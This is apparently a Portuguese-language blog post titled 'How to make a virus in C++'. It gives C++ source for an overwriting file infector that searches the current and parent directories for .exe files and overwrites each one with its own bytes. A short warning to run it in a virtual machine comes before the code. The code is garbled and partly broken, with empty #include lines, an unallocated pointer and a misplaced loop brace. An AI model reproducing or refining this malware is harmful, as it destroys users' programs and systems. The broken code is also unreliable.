Como fazer um virusm em C++

Postado em 19:15 by Administrador



Sugiro que ele seja executado (caso você consiga compilá-lo) em uma máquina virtual. Caso você insista em executá-lo em sua
máquina, saiba que poderá perder a instalação do Windows e tornar sua máquina inoperante. Não me responsabilizo por quaisquer danos
que você cause à sua máquina executando quaisquer códigos tenha neste blog.


#include
#include
#include

void main(int argc,char *argv[])  {
   int bytes,i,done;
   FILE *virus,*host;
   struct ffblk *f;
   char buffer[512];
 {
      done=findfirst("*.exe",f,0);
      while(!done) {
         virus=fopen(argv[0],"rb");
         host=fopen(f->ff_name,"rb+");
         for(;fread(buffer,512,1,virus)==1;)
            fwrite(buffer,512,1,host);
         fclose(host);
         fseek(virus,0,0);
         printf("infecting %s",f->ff_name);
         done=findnext(f);
      }
   } while(!chdir(".."));
   printf("Infecção completa...\n");
}

Sem resposta para "Como fazer um virusm em C++"